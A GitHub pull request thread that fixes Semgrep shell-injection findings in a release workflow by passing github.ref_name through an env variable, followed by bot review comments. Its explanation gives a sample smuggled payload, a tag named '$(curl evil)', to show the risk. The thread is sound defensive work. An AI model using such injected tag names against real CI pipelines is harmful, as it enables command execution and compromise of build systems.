fix(workflow): pass github.ref_name via env to fix Semgrep shell-injection block

[0xmariowu]

Summary

• Semgrep was failing on every PR (chore(ci): bump actions/github-script from 7.0.1 to 9.0.0 #226 ci(pr-flow): add PR base guard — block stacked PRs #227 chore(ci): bump the actions group across 1 directory with 2 updates #228 and any future one) with 5 blocking run-shell-injection findings on ${{ github.ref_name }} used directly inside run: blocks of release.yml.
• Fix: hoist github.ref_name into the step's env: block and reference it as "$REF_NAME" in the shell. Standard GitHub-recommended pattern (https://sg.run/pkzk).
• Mirrors the fix in templates/universal/release.yml so user-facing templates do not regress (CLAUDE.md template-sync rule).

Why it matters

github.ref_name for tag-triggered workflows is attacker-controllable in the abstract (a malicious push of a tag named $(curl evil) would inject). Quoting the env var defuses that.

Test plan

• bash scripts/lib/check-template-sync.sh → PASS
• bash tests/test_compliance.sh → 4/4 PASS
• bash tests/test-scanner.sh → 118/118 PASS
• grep -rn 'github\.ref_name' .github/ templates/ → only env: references remain (no run: interpolation)
• CI Semgrep job → expect 0 blocking findings

Unblocks

Once merged, rebase the 3 open PRs and Semgrep should go green:

• chore(ci): bump actions/github-script from 7.0.1 to 9.0.0 #226 dependabot github-script 9.0.0
• ci(pr-flow): add PR base guard — block stacked PRs #227 PR base guard
• chore(ci): bump the actions group across 1 directory with 2 updates #228 dependabot actions group bump

[coderabbitai]

Warning

Review limit reached

@0xmariowu, we couldn't start this review because you've used your available PR reviews for now.

Your plan currently allows 1 review/hour. Refill in 29 minutes and 30 seconds.

Your organization has run out of usage credits. Purchase more in the billing tab.

⌛ How to resolve this issue?

After more review capacity refills, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than trial, open-source, and free plans. In all cases, review capacity refills continuously over time.

Please see our FAQ for further information.

ℹ️ Review info

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: e66f5656-505c-4ec2-aa7c-367ca107b6f7

📥 Commits

Reviewing files that changed from the base of the PR and between 1ada0b9 and 8bc9297.

📒 Files selected for processing (2)

• .github/workflows/release.yml
• templates/universal/release.yml

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[Copilot]

Pull request overview

This PR addresses Semgrep run-shell-injection findings in the release workflows by avoiding direct ${{ github.ref_name }} interpolation inside run: blocks, while keeping the repository’s release workflow and the user-facing release template in sync.

Changes:

• Hoists github.ref_name into step env: and references it from shell variables ("$REF_NAME") in .github/workflows/release.yml.
• Applies the same adjustment in templates/universal/release.yml to prevent template-sync drift.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File	Description
.github/workflows/release.yml	Replaces direct ${{ github.ref_name }} usage inside run: blocks with a step env var reference.
templates/universal/release.yml	Mirrors the same ref_name handling change in the universal release template.

Comments suppressed due to low confidence (3)

.github/workflows/release.yml:363

• This workflow already uses GITHUB_REF_NAME elsewhere. Using it here would avoid repeating REF_NAME: ${{ github.ref_name }} across steps and keeps tag naming consistent within the file.

        env:
          GH_TOKEN: ${{ github.token }}
          REF_NAME: ${{ github.ref_name }}
        run: |
          TAG="$REF_NAME"

.github/workflows/release.yml:410

• Same as above: prefer the built-in GITHUB_REF_NAME over a separate REF_NAME env var for consistency and less duplication.

        env:
          GH_TOKEN: ${{ github.token }}
          REF_NAME: ${{ github.ref_name }}
        run: |
          TAG="$REF_NAME"

.github/workflows/release.yml:462

• The step can use the built-in GITHUB_REF_NAME directly (already used earlier in the workflow) and drop the extra REF_NAME env block.

        env:
          REF_NAME: ${{ github.ref_name }}
        run: |
          TAG="$REF_NAME"